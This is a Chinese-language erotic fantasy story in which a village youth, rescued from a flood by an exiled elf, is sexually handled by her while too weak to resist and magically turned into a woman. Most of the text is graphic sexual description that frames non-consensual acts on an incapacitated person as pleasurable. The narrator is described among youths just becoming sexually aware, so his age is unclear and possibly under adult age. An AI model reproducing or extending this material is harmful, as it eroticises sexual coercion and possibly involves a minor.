图片载入中

魔女传承

特大字】 【大字】 【中字】 【小字

在我们村里头有个女妖精,她的风评不是很好,的确,她的行事也不像一般传闻里的妖精一般清新脱俗,在我们人类的眼光中,她和我们并无二致。该怎么说呢,世俗许多吧,我想。

没有人知道她几多岁,传说中精灵可以活上数千年,而从她的外表并看不出来,无论何时,她看起来就跟二十多岁的少女一般,虽然她给我的感觉和一般人类差不多,但还是有点不同,过了好几年,我慢慢感受到男女有别之后,我才勉强说得上来,她仍有股冰冷的气质隐藏在她白皙的肤色之下,但我不敢确定是不是所有人也都跟我一样感受得到。

她的名字叫伊丽儿,据说那是银色月亮的古名,我不知从何处听来的;实际上她早已不用这个名字,而是用人类女性常用的名字──丽兹,就像我的名字比尔一样普遍。

由于丽兹的传闻不怎么好听,我们年轻人都躲得她远远的,而那些传闻都是由长辈告诉我们的。事实上,跟我差不多年纪的同龄少年,多半因为长辈的告诫而对丽兹更感到好奇,那是因为我们已经开始有性别意识,对女人会产生冲动,丽兹的传闻就是关于那一方面的。

有人说她是个淫荡的妖妇,所以才被精灵王赶出他的疆域,放逐到精灵世界以外的地方,而她最后选择落脚在人类之间,并且在我们村落定居。常有外地来的男人慕名而来造访她,据说丽兹会将他们迎进她的树屋,长辈说那叫做“入幕之宾”。

我是一知半解,身旁有经验的朋友,像是我的好友洛德,就会在我面前吹嘘那种经验的美妙。然而村里的男人没有一个敢轻易尝试,因为我还在襁褓之时,村中曾有一个男人大着胆子去向丽兹需索,因而失踪了数天之久,最后被人发现成为干硬的尸首,面色可怖地躺在村外的树林深处,从那之后,村中再也没有男人敢上门找丽兹,即使再怎么色胆包天也一样,女人们更是据此神气地告诫着另一半与她们的儿子们。

我还没有性经验,虽然也是有冲动,但至少不会像其他还没有女人的朋友那样,想要又不敢做,不过我看丽兹也是安然地过她的生活啊。

有时候我觉得我对丽兹的感觉异于常人,她似乎也注意到我,常常在远处静静地注视我。每次我背着柴火打森林里经过,一定会路过她的树屋,那时我就会感受到一道充满耐心与奇异情愫的目光,一直尾随我离开森林为止。森林是妖精的家园,所以我很可以肯定那股注视来自丽兹。

她有什么样的能力呢?妖精是多么神秘的生物啊,一个妖媚淫荡的妖精会是什么样子呢?我还没有看过丽兹以外的妖精,对妖精的美好印象仅止于幻想,而我对丽兹毫不了解,她的传闻对我影响远大于我对妖精的认知,因此我时常感到煳涂。

砍柴时,我常常会借由关于丽兹的传闻来幻想,排遣单纯无聊的工作,洛德的炫耀对我影响颇深,我将他?细靡遗的性爱描述套到丽兹身上,想像我是男主角。我还是处男,长相算清秀的我有几个缠人的异性朋友,但是我的个性有点优柔寡断,所以无法做选择,不然我应该早有机会亲身体验性爱的美妙吧!

每当性幻想让我忍不住时,我就放下斧头,掏出家伙尽情手淫,反正森林这么大,不怕会有人瞧见。丽兹的存在感有时会在我解放时出现,刚开始我会因为害羞而中断,后来我也放大胆子,挑衅般地表演。

我也会揣摩女人的动作,自编自演,想像有个女人和我一起做爱,演久了以后,常会因为思想交错,同时扮演男与女的角色。

我会在溪水里,一手把玩着生殖器,另一手手指插入屁股,假装我正和一个我自己扮演的女人做爱,前几次会觉得很不习惯,到后来就觉得这样很刺激。每次我这样做时,都会感到丽兹在窥探我,让我感到更兴奋。

今天下着大雨,我照例砍完柴,回程前我躲到溪水中,暴涨的溪水冲刷着我的裸体,豆大的雨点打在身上,激起我更高的性欲,我照着洛德告诉我的性经验模仿,再加上对丽兹的幻想,我抚摸自己的身体,右手伸到股间,在肛门周围轻轻抚弄数圈,我的阳具早已肿胀挺立,溪水冲着阴囊,我捧起阴囊揉搓,右手手指轻松插入早已习惯的肛门中,舒服的感觉让我不由自主地喘气。

肛门放松后插入了两根手指,我的手指开始活动,一边触摸着柔软的肛肉,左手也扶起肉棒握紧套弄。兴奋感使我的肛门自动夹紧,连带让我的阴茎更加舒服,我加快套弄和抽送的速度,想像自己和丽兹翻云覆雨,我的身体屈了下来,下巴浸到水中,快感从下体源源不绝升上来。

“喔……好舒服……啊……好紧……好紧的小穴……啊……啊……我要干死你……啊……丽兹……唔……啊啊……”“用力……嗯嗯……你好厉害……好有力……啊啊啊……好猛……插得……啊……啊……啊……啊啊……怎么……怎么这么舒服……啊啊……比尔……干死我……啊啊啊……”我习以为常地角色扮演,龟头涨痛到几欲麻痹,屁眼紧夹着手指,而手指更快速地抽插,左掌的套弄也加速着。

“抱紧我……干我……啊……啊……射出来……射出来……我要不行了……啊啊……不行了……啊啊……”“小女人……我没这么……轻易放过你……啊……夹得真紧……啊啊……我要让你高潮……高潮……一直高潮……啊啊……”我陶醉在自己酿造的幸福中,全然没有注意到周围的状况,就在我将要射精时,突然有个尖猝的警告声窜进我的脑海:“比尔……快逃……快走……”我抬起头,手还不停止地搓弄肉棒和抽插屁眼,映入我眼帘的是湍急的洪水顺溪直扑而来,凶猛的程度让我无法想像。

“上游山洪爆发了!”我瞬间产生这个念头,然而我已来不及上岸逃跑。

在危机关头,手淫反而激发出肉体更大的兴奋,我站着不动,眼睁睁看着大水扑面而来,肛门紧紧夹住我颤抖的手指,我撑紧肉棒,激射出强烈的精液,在无上的满足中,被吞噬我身躯的洪水压得窒息,失去了意识。

我被一股清甜的香味扰醒,虽然香味窜进我的鼻腔,但我挣扎了许久才睁开双眼,眼皮沉重得像是蒙上了铅,模煳的影像晃动了许久,总算逐渐清晰。我又花了好一会儿工夫才分辨得出景物,时间彷佛对我施了魔法,我想应该不过几分钟的时间,感觉起来却常如数个小时之久。

我是躺着的,微光从右侧打进来,我躺着的处所天花板低矮,因光线照不到而显得阴暗。我闻到熟悉的树木香气,甜香似乎同出一脉,只是有一点微小的差异,我说不上来。我试着使力,想要起身一探究竟,身体却像和我的思想分离了一样,怎么也不肯听话,也许是麻痹了吧,我只好打消念头,静静等待。

思绪流转,我慢慢回忆稍早的一切,我在山洪来袭前泡在溪水中自渎,因为太过沉溺,巨变使我来不及逃跑,高潮带来的快感抵消了我的恐惧感,接着便不省人事。现在回想起来,性欲消除后不再有那股贸然冲动,越想就觉得越可怕,当时的我真是头蠢驴。

而我还活着吗?我不知道,虽然怀疑着,但隐约听到室外有夜鸦啼叫与风吹动林木的声音,又觉得心安了些。我没有受伤吗?我无法动弹,急于搞清楚现状却于事无补,搞不好我已濒死,父母和弟妹他们知道的话会很伤心吧……我静静地看着阴暗的低矮天花板,开始数数打发时间,不知不觉又睡着了。

“比尔……比尔……醒……来……醒过来……”在睡梦中,我突然听见有人叫唤我的名字,起初我以为是做梦,直到那声音真实到我无法抗拒时,我才从疲惫的睡眠中惊醒,昏昏沉沉地张开眼睛,在脸孔的轮廓清楚之前,我就知道对方是谁了。

“丽兹!你……”我虚弱地哼出声音,我惊讶地发现原来自己可以出声,但是我的声音让我重拾忧心,因为听起来柔弱得近乎奄奄一息。

丽兹的眼神带着迷惘,彷佛我是一种她不知晓的生物,我分不清她是否关切我,她对我有任何感觉吗?

她没有说话,只是沉默地凝视着我,我畏怯地望着她,看着她高挺的鼻梁、尖俏的双耳、深邃的蓝色双眸,她白皙的肌肤在黑暗中透如薄纸,粉嫩的嘴唇细致地勾勒出精准的线条,我看得渐渐发了痴,她仍有如超然的存在,在她眼底下我显得渺小不堪。

“你……”我莽撞地打破沉默,刚出口就觉得自己犯了错,声音打破了我们之间沉静的默契。丽兹的俏耳动了动,嘴角微微上扬,突然而来的妖艳表情令我为之一颤。

我还来不及将丽兹的表情牢记在心底,她就弯腰俯身,在我耳边吹了口气,我突然感到身体酥痒,反射性地发抖,这才发现我竟然可以动了。我第一个想法就是坐起身来,丽兹没有给我机会,她压住我,柔软的唇直接印上我的嘴,我脑袋一片空白,刚恢复的力气霎时之间全消失了。

“唔……唔……嗯……”我无法抗拒丽兹的吻,我虚弱地喘息,闭上眼睛感觉妖精尖而灵活的舌头探进我的口中。

她的舌头灵巧得令我难以置信,她先用舌尖搔弄我的齿龈,等我失去了抵抗后,她的嘴便完全笼络住我的,毫不矜持地将她的口水推进我的嘴中,我贪婪地r吸吮那带有香气的津液,原来之前闻到的甜香就是这种气味。

接着丽兹的舌头缠绕着我的舌头,柔软的触动激起我的兴奋,我任由丽兹摆布,让她把我的舌头翻来覆去。我们激烈地舌吻,彼此深深吸吮着,丽兹看起来非常熟练,而我却已经快要晕厥了。

或许这就是她的伎俩,当丽兹一手掀开盖在我身上的毛毡,并且伸向我双腿之间时,我连一丝丝假装抗拒的做作都使不上来。我感到冷风从丽兹身后刺探进来,不用看也知道我一定裸着身子。由于我毫无抵抗,丽兹便成功地攻城掠地,手沿着我的大腿内侧往上慢慢逼近。

“嗯嗯……嗯……唔……唔唔……啊……丽……你……啊啊……”突然间丽兹离开了我的唇,尖舌移往我的脖子,然后顺势快速地往我耳根侵略,她湿滑灵巧的舌头一瞬间钻入我的耳孔,解禁的我受不住刺激,霎时之间尖叫起来,我尖细的叫声连自己都为之一慑,但瞬即我又埋没在丽兹技巧高超的挑逗之中。

“你很喜欢这里……是吗……”丽兹在我耳边呢喃,同时我感到她的手指戳入我的肛门之中。

这是我头一次听见她的声音,温软的语气让我只听一回就永生难忘,她的声音带着慵懒,在她舌头和双手爱抚的攻击下,我沉陷在淫靡至极的气氛之中。

由于是外力的关系,我的屁股反射性地夹紧,但丽兹果然是个中老手,不知用什么手法,她的手指便钻入我的屁眼之中,而她的拇指只不过轻轻在我股间周转一圈,我就放松下来,任由她的手指自由活动;丽兹不知用了什么魔法,只不过带了一圈,她的手指竟然会湿湿黏黏的,因此更容易在我的肛门中活动。

“啊……丽兹……你……你好厉害……啊……啊……我自己……自己弄……都……都没那么舒服……唔……唔……唔……啊啊……”我当我纤细的声音是灾难后暂时的后遗症,所以就没再管那么多了,甚至觉得自己的呻吟声格外魅惑。

“你喜欢啊……”丽兹舌尖挑逗地舔了我耳根一下,弄得我全身酥麻。她的头消失在我眼前,我感到她的发丝垂落到我胸膛上,接着我便知道她在吸吮我的乳头了。

没想到男人被吸吮也会这么舒服,和洛德说的不太一样,我仰着头,双腿僵硬地撑直,上下夹攻的快感让我分心狂乱,我豁出去了,用有如女人的声音喘声叫道:“丽兹……摸我的那里……快……求你……摸它……啊……用手搓啊……啊啊啊……啊……快……求求你……让我射……我……唔……我……啊……受不了啊……啊啊……”“你真的喜欢啊……”丽兹抬起头重又望着我,我带着恳求的目光回看她,接着她又转成哀怜……或着说有点恶意的眼光睥睨着我。我的头颓然向后倒,忍受丽兹持续不停地猛插我屁眼,还有另一只完全相反、用高超技巧抚弄我乳头的手。

“我……喜……欢……”我唿着气,声嘶力竭地哀喘:“让我射啊……啊啊啊……”“如果你喜欢……那我就放心了……比尔……”丽兹说完后,又开始用舌头舔我的乳头,她的身体慢慢爬上床,移到我的上方,那样她的另一手就可以方便握住我的阳具,而且我的屁股也可以享受到。

于是我又开始幻想,奇怪的是丽兹就在身边,我竟然没有想和她发生关系的念头,或许是因为她的形象在我心里不可侵犯吧!

暂时只是这样,以后可不一定了,毕竟我还是男人,然而现在我只想要好好享受,于是我让自己开始妄想,想像我和我自己的做爱。

“你喜欢……我就给你……”丽兹的声音迷幻般地在我下体间发出,我欢愉地笑着,接近狂乱。

“啊……来啊……来吧……抓住它……干我……啊……套它……快……快来啊……”丽兹真是善体人意,抽插我屁眼的手指丝毫没有停止的意思,反而还加速,使我肛门内开始痉挛。接着……我感觉有股异样的感觉,陌生、邪恶、令我丧失气力地害怕……“唔……唔……是……是什么……丽兹……丽兹……怎么回事……啊……啊啊……不要……怎么回事……啊……呜呜呜……”莫名的疼痛和巨大的恐惧竟令我失控地哭了出来。

“你喜欢……我……给你……”丽兹的声音听起来既遥远又接近。

“这是什么……啊……你另一只手……呜……在……啊……啊啊……在我的什……什么地方……为什么……咿呀呀……为什么你……你的手……可以插……插进我身上……痛……两个地方……啊……”我双手抓着木头床,刮出尖锐的声音,和我女人般的叫声混合成可怕的哀号。

“别管那么多了……比尔……我赐给你的……忍住……然后……你就享受的到了……来吧……”丽兹迟缓地说着,她的两手手指,分别在我身体的两处部位缓缓抽插起来……在弄清楚发生什么事情以前,我已经丧失了思考的能力……疼痛没有持续多久,我敏锐地感受着,丽兹的手指正在我身体里轻缓地活动着,她只有用一根手指,其他手指则是按着我的股间,以细腻的摩擦搔弄我的阴毛。

“丽兹……丽兹……你在做什么?”我小声地呻吟,她的手指湿湿滑滑的,随着温柔的动作产生出滋滋的奇特声响。“你的手……我的身体……嗯嗯……怎么……怎么回事了……”异处产生的痛感消失后,丽兹轻柔的抚触带给我莫名的满足,相比之下,在我肛门里活动的手指反而令我比较不舒服。丽兹放慢节奏,也不回答我,似乎是刻意让我喘一口气,我的身体经过刚才奋力挣扎后,力气几已衰竭殆尽,我懒洋洋地躺着,两腿大开,任由丽兹为所欲为。

我的知觉全部集中在下体,酥麻的刺痒在我腿间跳跃,而后经过丽兹的抚弄后又稍微止歇。她微凉的体温笼罩住我的腿间,好一阵子她把手按住,将两手贴r在我的肌肤上,只余留插入的手指在我体内绕动。

“唔……好舒服……啊……啊……别磨啊……”丽兹两手的手指灵巧又调皮地互相摩擦,但我可以感觉到他们并没有真正接触,而是隔着一层肉壁,我无暇细想,缩着双腿抵抗那种无上的快感。

接着我意识到不对劲,方才我的性欲昂扬,渴求丽兹套弄我的生殖器帮我手淫,但那时有股诡妙感,似乎与平时有很大的不同,我说不上来,但现在渐渐有些概念了。为什么丽兹的双手可以平贴在我的臀股之间?没错,勃起的感觉不一样,虽然很类似……心中的不安开始发酵,我无助地摆动身躯,丧失力气的身体不听使唤,只能在原处扭捏地颤抖,异样的感觉加深了性感,我无谓的举动为丽兹在我体内的手指增加了摩擦的机会,我觉得更舒服,舒服到再也无法集中精神思考了……“唔……唔……”我咬着下唇,绷紧身体,挺起屁股抵抗浪潮般席卷而来的酥麻,我腰身以下悬空,或许这样给丽兹更好施力的角度。

她的手开始活动,深深插入我的体中抠弄,我尖叫了一声,马上想缩起身子逃躲,丽兹抽出插在我肛门里的手指,捧住我的屁股,让我无法逃开,然后她开始快速地抽动起来,不知道为何她每拉一下,就让我觉得体内有水泄出去,我失去控制地尖声高叫。

“啊……啊啊……我……咳咳……不要……啊啊……会死……啊啊啊……我要疯了……不要……啊呀啊啊……”我的双脚迫不得已撑着床面,和肩膀与头共为支点,肩部以下到脚掌全部悬在空中,因为那种陌生的感觉实在太刺激了。我双手扒着木头,指甲抠出刺耳的刮磨声,腰部被一下下戳弄刺激得痉挛颤动。

“为什么……啊……啊……这是什么……感觉……啊……啊……好热……啊啊……我的腰……腰……要断了……啊……饶了我……啊……啊……饶了我……丽兹……呀啊啊……”就这样被丽兹折磨了好一会儿,我的汗珠与泪水早已混成一团,甚至还失态地流着口水,无法自制。渐渐习惯手指的磨弄后,我慢慢觉得舒服起来,我知道那是类似自慰时的快乐,只是非常和缓,绵长不断,不像我从前手淫,要过好一阵子才瞬间觉得快感急速攀升;现在我体验到的是慢慢升高的欲望,彷佛无底深渊,我的潜意识对无边的情欲感到害怕。

然而我身体自主地反应起来,性欲让我自动找出享受的方法,而且我完全无法抗拒,被快感冲昏了头。我发现摆动腰部迎合丽兹的抽插可以让我更舒服,便不加思索地摇动起来。我的腰似乎变灵活了,也比以前更柔软,一点都不像刚逢大难的样子。

“啊……好舒服啊……”我深深地叹了一口气。

“我就知道你会喜欢,我会让你更舒服……”丽兹的声音从我下身传来,我将重心放低,勉强抬起头往前方望去,只看得见丽兹的淡金发丝。

我喘着气,伸出右手往腰际摸去,还没摸到下体就先碰触到腹部一片潮湿,吓了我一大跳,那滩液体湿湿黏黏,我第一个念头就是我受了重伤,但是我一点都不痛啊……接下来,视野的景像和触感给我的惊吓更大了,我手臂内收时,居然挤出一团嫩肉,往左看也有另一团在匀称地晃动,刚刚平躺时并不明显,以致于被我忽略了,现在我撑起身子抬头看,它们因为重量往我眼前集中,我才发现它们的存在。我慌忙地察看,细嫩的肉团的确长在我胸前。

我颤声问到:“丽……丽兹……这是什么……我的身体怎么了?”丽兹没有回答,我感到她开始用灵巧舌尖搔舔我的腿根,然后往上……往上……那种感觉就像是龟头被舔到一样,我机伶地发抖,产生奇特的勃起感觉。我的小腿好死不死在此时抽筋了,我既舒服又痛苦,慌乱地扭动,肉团在胸前晃动,压得我喘不过气来。

“别舔……啊……啊啊啊……救命……我要……不要……啊啊……”我伸手去抓丽兹的头,失去力气的我只能勉强扶着她的头。丽兹温柔地舔着,手指在她舔弄的部位周围滑动。我的抗拒感很快便消失了,转而轻微而充满欲望地哼着:

“不要……不……啊……嗯……嗯……嗯嗯……继……继续好了……好舒服……舔……舔那里……就是那……啊……好舒服啊……”“你现在觉得喜欢吗?”丽兹舌头滑过我最敏感的部位。

“喜……喜欢……嗯……好喜欢……”丽兹舌头离开后,我觉得好空虚,也不管僵硬疼痛的小腿,费力地按着丽兹的头,并把我的屁股抬高,主动将下体贴到丽兹的嘴上。

“那……你想不想更舒服……”丽兹的舌头划着圈圈,在我龟头周围绕着。

“想……想啊……快……让我更舒服……嗯……啊……啊啊……”我举起左手去摸胸前的肉团,意外地发现抚摸起来让我更为舒服,尤其是原本小乳头的地方变大了,轻轻摩擦起来真是舒爽难当,我一边开始揉着,一边继续哀求:“快嘛……快……啊……让我更舒服……”“好……那你要受得了喔……”丽兹轻挑地吐出话语,埋首下去含住我的龟头。

我握住自己的胸部,让它们惯性地晃动,乐趣顿时又增加了好几倍,接着丽兹舌头挑舔我的敏感部位让我惊恐地放声大叫。

“啊啊……天……天啊……不……不……好舒服……我不行……不行了……啊啊……慢点……呜……呜哇啊啊……”我哭了出来,下体的酥麻好像我在森林里被蝎子草蜇到一样,我无法控制自己,身体开始乱抖,快感已攀升到高潮,我捏紧自己胸前的肉团,屁股缩下去又被丽兹抬起来。

“我要……要出来了……啊啊……呜呜呜……舒……呀啊啊啊……”我猛摆着头,眼睛睁大,像是射精的感觉从下体释放出来。本以为这样就算了,但是体内的高潮没有随即退去,一直停在某种高度盘旋着。

“我怎么了?啊……还是……还是好舒服……嗯……丽兹……告诉……告诉我……怎么回事……呜呜呜……我怎么哭了?我……好舒服……我……啊……”我掩面而泣,不是因为难过,而是因为太刺激了。

我感到丽兹把我扶起来,我靠在她柔软的胸部上,才发现原来她也是裸身,但我虚弱地闭着眼睛,沉浸在过度的快悦中,根本抬不起头来。

接着我又感觉到丽兹将手指插入我那多出来的奇妙部位,那里自动夹紧,持续的高潮源源不绝。丽兹推开我,另一只手放上我的胸前,捧着我的肉团开始吸吮,不到几秒我又想要射了。

“又……啊啊……我……我会死的……啊啊……丽兹……丽兹……让我……让我死吧……呜……我的龟头……怎么……好舒服呀……”丽兹再度吻我,我睁开朦胧的双眼,近距离看着她那醉人魅惑的表情,身体像火烧……“看着……睁大眼睛看看你自己……呵呵……哈哈哈哈……”丽兹松开我的唇,嘲笑地望着我,双手不停歇地把高潮一波波传给我。

我已经呻吟不出来,只能依她的命令往下看,只见她捧着我的……乳房?

我看看她,又看看自己,我的胸部竟然跟女人一样!我怀疑地看着丽兹,身体的快感让我不伦不类地张嘴渗出口水,一时之间,我既充满了疑问,又必须忍受高潮的袭击。

“这……嗯啊……这是……啊啊……这是什么……咿呀……”丽兹舔舔嘴唇,笑着说道:“听听你的声音,这是跟我一样的胸部啊。来!

你再看看!”我顺着她的目光更往下看,她刻意移开手臂,让我看她手指戳弄的部位,什么都没有……什么都没有!

“唔……啊……我的……我的阴茎呢?唔……我的龟……龟头呢?啊……”丽兹加快了抽动的速度,激起我体内收缩抗衡,她用拇指揉着戳入部位的上端,麻痹的感觉又一次传来,那就是我刚刚以为是龟头的地方。

“这个啊……这个不叫龟头……呵呵,这个叫做阴蒂。”丽兹淫荡地大笑,邪魅的模样与我的印象差距极大,但我管不了那么多了,因为又要高潮了!

“不要摸了!不要……嗯……嗯啊……哇啊……舒……啊……不……不……不舒服……不要再弄了……啊呀呀呀……”我伸手往下体摸去,却不是拉开丽兹的手,而是帮着在周围爱抚。

“真的不要吗……我的……小可爱……”丽兹在我脸旁吹气,轻浮地悄声说道。

“要……要……我要……啊啊啊……来了……来了……我要……啊啊……”我体内彷佛涌出一大瘫湿水,我靠着丽兹无助地颤抖,高潮的余韵在全身奔走不停。

等到我力气稍微恢复,不再痉挛时,我使出最后的力气发狂地掐住精灵的脖子,用我那女人般柔细的声音吼道:“伊丽儿!你……你到底对我做了什么!”我号啕大哭,一直用力、用力……我不知道为什么会叫唤丽兹的真名,但被我唿唤后,丽兹散发出来的气质突然改变了。一直没发现自己身体变化,迟钝如我,也能明显感受到丽兹隐约的变化。我松开手,让丽兹倒在墙边,而我便坐在原处,看着自己的身体啜泣着。

“天啊……我对你做了什么……”过了许久,丽兹怜悯地看着我,爬过来抱住失控痛的我不知哭了多久,我的喉咙干如砂纸,哭声转为沙哑的抽咽,我变得好懦弱,还真配得上这副身体……我咬着唇停止哭泣,举手抹脸,骚膻的私处气味从指间传来,想起刚才刺激的情景,这是我的味道……虽然惊愕又生气,生理上却非常满足。

女人的话……都是用“淫荡”来形容我刚刚的表现吧……我脸热了起来,大腿内侧酥麻的感觉仍回荡不已,不像男人射精后就得休息好一阵子,我的身体彷佛在告诉自己,我还可以……我甩甩头,抹去还残留的泪渍,抛开感官的引诱,或许是因为太过满足的初体验弥补了创伤,我已经没那么愤怒了,但还是装作非常生气的样子,瞪着丽兹质问:“你……你……你把我的身体怎么了?”丽兹侧坐在我前面,听我这么一问便呆住了,凝望我好一阵子。从刚刚回复理智后,丽兹就一直抚摸我的发际,我的头发杂乱地蓄到肩膀上,她抽开手,我的头发被扫到面颊上,除了长度依旧,我黑发的发质似乎变得柔细许多。

“我……”丽兹欲言又止,她的眼睛里柔光流转,说不出的温柔,光是眼神就和刚刚判若两人。

我俩裸裎相对,趁她踌躇之际,我默然打量着她。她实在是个美丽的精灵,肌肤白皙无瑕,脸的轮廓略长,线条优美,淡金色秀发披在胸前,即使黑暗也遮掩不住散发的光芒,清蓝色的双眸深远有如美钻,尖耳颓丧地垂在两侧掀动,高挺的鼻架下,细薄雅致的唇轻轻蠕动,却怎么也说不出话来,接着她嘤声啜泣起来。

这么高贵的精灵在我面前哭泣,再大的怒气也被浇熄了。我心生怜爱,即使虚脱无力,还是冒犯地举起手搂住丽兹的细嫩肩膀,胸前的重量令我无法适应,举手时难以避免挤压到胸部,我新拥有的一对乳房碰撞在一起,新奇的接触感使我禁不住哼了一声。

我的心噗通噗通地狂跳,丽兹听到我的轻哼,机敏地掀了掀耳朵,她带着好奇的纯真表情望着我,她终究是女人,看她无助的样子,我强忍住不小心挑起的欲望火花。即使我似乎真的变成了女人,对任何小触碰都会敏感地反应,但我原本毕竟是个男人,理当由我来打破僵局……“告诉我事情的经过吧。”我握住丽兹冰凉的手,她是比人类高等的精灵,但我不再感到隔阂,或许是因为她让我那么舒服的关系吧!

“我……你……那时……我……我……”丽兹一下子太过紧张,可以感觉到她在发抖,我觉得有点好笑,刚刚她才对我……不行不行,再想那些事会不得了的,我捏了自己一把,集中精神,诚恳地对她说:“你慢慢讲,没关系,我不生气了,真的,你只要告诉我发生什么事,别紧张嘛。”从昏迷醒来以后,这是我第一次好好听自己说话,我的声音果真变得跟女生一样,听起来有点甜腻。我以前听到这种可爱的声音一定会兴奋的,事实上我现在也觉得有点刺激,这声音竟然属于我了。

丽兹当然不可能知道我在想什么,她听我不再生气,晃了晃尖耳,愁眉舒展开来,开始对我解释我失去意识所发生的事。

“你已经昏迷好几天了……”丽兹抬起头,又继续说:“那时我叫你走,可是你……”丽兹止住话,低下头来,我看她脸颊微红,自然知道她想的是什么,不由得也脸红起来。

“你每次都在看着我吗?”我好奇地问道,反正都被她那个了,我索性也丢开羞耻心。

“嗯……其实我很早就开始注意你了,从你还小的时候,我就觉得你……”“你喜欢我?哈哈……”我清脆地笑着:“不会吧?你喜欢女人,所以把我变成这副模样吗?大家都说你……”突然我觉得不好,赶紧把话给吞了下去。

“不是的!”丽兹着急地抢话说道:“那不是我!不……那是……哎!我要怎么说呢……”“对不起,你慢慢说啦……”我发现自己在捉弄一个精灵,而我现在是个女人,还和对方赤裸相对,真是微妙的感觉。

“嗯……我知道你是个好人,我们精灵对其他的生物有敏锐的感受性,所以你在我的森林里做那种事时,我不会觉得你是坏人的……”“唔……”丽兹又说到让我想躲起来的事,我抓了抓头,假装没有专心听,我的胸部跟着晃动起来。

“我感觉到山洪要爆发时,已经来不及及早通知你了,因为我太专心在你的身上……”“喔……哈哈……真是不好意思……”丽兹还是继续说着,我只好硬着头皮搭腔。

“我一直在找个人,我不知道为什么我一直觉得就是你,当你出事时,我的心好难过,所以我想尽办法要将你救出来……可是当我找到你时……我……”丽兹突然哭了出来,一下子让我不知所措。

我想不出有什么好法子,自然地将她拉过来,张开双臂紧紧抱住她,我们的胸部互相碰触,饱涨而充实地贴在一起,我发现她的身体很冷,便想将自己的体温传给她,同时还轻拍她的背安抚她。

“谢谢你……你真的很好……”丽兹靠在我的肩窝上,内疚地说:“如果我说出来,你一定会很生气,可是你或许就是我要找的人,我必须冒这个险,何况当时我已经不能控制自己了……”变成女人后,或许心理也跟着改变了,让我产生了所谓的母性吧,我尽可能让丽兹安心地靠在我胸前,我的乳房被她当成枕头。她不以为意,我可是觉得非常新鲜啊,但又能怎么办呢?我说道:“都已经发生了,我不会生气的,你好好说,好吗?”“嗯……我找到你时,你已经奄奄一息了,你的身体破烂不堪,双腿和左手都骨折了,浑身是血,更可怕的是你的伤口上都是泥沙,不可能救得活了……”我听得胆战心惊,可是我现在好好的啊,除了一点……于是我又问道:“那后来呢?”“我是精灵,我救得活,而且我的力量……”丽兹顿了顿,她似乎把我当成真的女人了,她撒娇似地在我充满弹性的乳房上磨蹭了几下,换了个比较舒服的姿势后又继续说道:“你们村里的人会怕我不是没有原因的,我的确是个堕落的精灵,但其实你们没有多少人看过我真正的力量,看过的人已经……”我想到村里的传闻──那个可怜的倒霉鬼……“你应该听说过的,比尔……我看到血时就会变得很邪恶,虽然我的意识很清楚,但是那个人格会跑出来。我很想要救你,但邪恶的性格也有她想做的事,所以看到你时,我已经……”“把我变成女人吗……”我感到浑身虚脱:“这对你有什么好处……”“比尔……你要知道,这是我和我的妥协……让你变成女人是既可以救你、又值得我一赌的选择……”“怎么说?”我歪着头看她,怎么也想不出长居在这里的丽兹会有什么需要赌的原因。

“那是我堕落的原因……我很不想提起,但是你让我觉得很安心,我愿意告诉你,我也希望你能帮助我……”“嗯……”我不置可否,听了再说。

“你知道遥远的西方大陆有个邪恶的魔王吗?不知道……我想也是,我就是被魔王诱奸而丧失贞操,才被精灵王放逐……魔王的名字叫威尔腾,他非常宠爱我,我成了他的奴隶与玩物。他赐予我强大的魔力,教导我荒淫的知识和技巧,渐渐我被他影响,却没有完全被同化,而是生出另一个黑暗的性格。”“你逃出来了吗?”我随口问问,因为这些对我来说是完全没有概念的。

丽兹摇摇头说:“不是……我向魔王提出要求,让我离开他身边……那是我天人交战之下,战胜另一个人格才成功的,没想到魔王竟然答应了……当然我们是吵了很久啦,几乎把整个西方大陆都烧焦了,但最后他还是拗不过我,我想他真的很宠爱我吧……”丽兹甜甜地笑着,让我觉得怪怪的,生怕她另一个人格又要跑出来,所幸没有。于是我又问:“那你为什么要把我变成女人?是用你说的强大力量吧?我变成女人似乎对你有用处,为什么?”“因为魔王太无聊……”这个理由实在太怪异了,我忍不住哈哈大笑,可是丽兹看起来非常严肃,我马上就不敢再笑了。

“我说的是真的,没有我,威尔腾也需要女人啊!他是色欲的化身,性能力和技巧都不是我们能想像的。他现在还会来找我,而我会馈赠他美女,换取几年平静的日子……”“你……原来你要把我献给他吗?丽兹,我本来是男人耶!既然你对他念念不忘,还能忍受他有别的女人吗?”我感到不可思议,而且非常非常生气,丽兹居然为这样的理由把我变成这样!

“比尔,你本来应该是死人了。”丽兹的话里竟然带着残酷:“我喜欢他就够了,干嘛在乎他有没有别的女人?而且你一定会爱上小威的,他会给你无上的满足,你会恨不得他一直插你!插你!没有什么比女人的性欲更美妙了,你不会想当回男人的!”丽兹在我怀中淫笑着,让我感到害怕。她开始吸吮我的乳头,激起我阵阵性感,我使力推她的头,她还是巴着不放。

想到先前我唤她真名使她清醒,情急之下我大叫道:“伊丽儿!快醒醒……不要……啊……不要……”丽兹咳了几声,从我胸前离开,充满歉意地看着我说:“对不起……我差点控制不住……已经很少人记得我的名字,你让我想起我原本该是怎么样的……”虽然只是一下子,我身体已经舒爽地软瘫了。

“我的妥协就是救活你,然后将你献给威尔腾。别误会……我是想请你帮我除掉魔王,这样我才能真正地平静。我不知道自己为什么相信你办得到,我希望我的直觉是正确的,就当作是我救活你的交换条件,好吗?等事成之后,我会想办法让你恢复的……”我能拒绝吗?显然没有别的路好走了,只好问道:“我该怎么做?”丽兹看着树洞外的天空说:“你昏迷的这几天,山洪淹没了你的村落,村里死了不少人,现在水已经退了,村里百废待举……别担心,你的家人没事。山洪爆发跟邪恶的力量有关,威尔腾要来了……”我无言地顺着丽兹的目光,往几尺外的树洞口外看去。家里的人没事就好,可是我不可能这样子回去,他们应该以为我死了吧……突然间丽兹握着我的手,兴奋地说:“我怎么没想到,我只想找个能托付的人,无奈那些外地来的骑士武者没有一个可靠的,但我不必一定要将你献给威尔腾啊!他每年都会换新宫,可是这不是问题,我问他搬哪不就成了,他不会骗我的,你只要之后再去找他就行了啊!”我不由得为之失笑,还真是“简单”的办法啊……不被直接带走,路上没那么好走吧……而且我要怎么做掉魔王呢?

听我这么问,丽兹也答不上来,看来我得自己想办法才行,变成女人的我毫无选择啊。

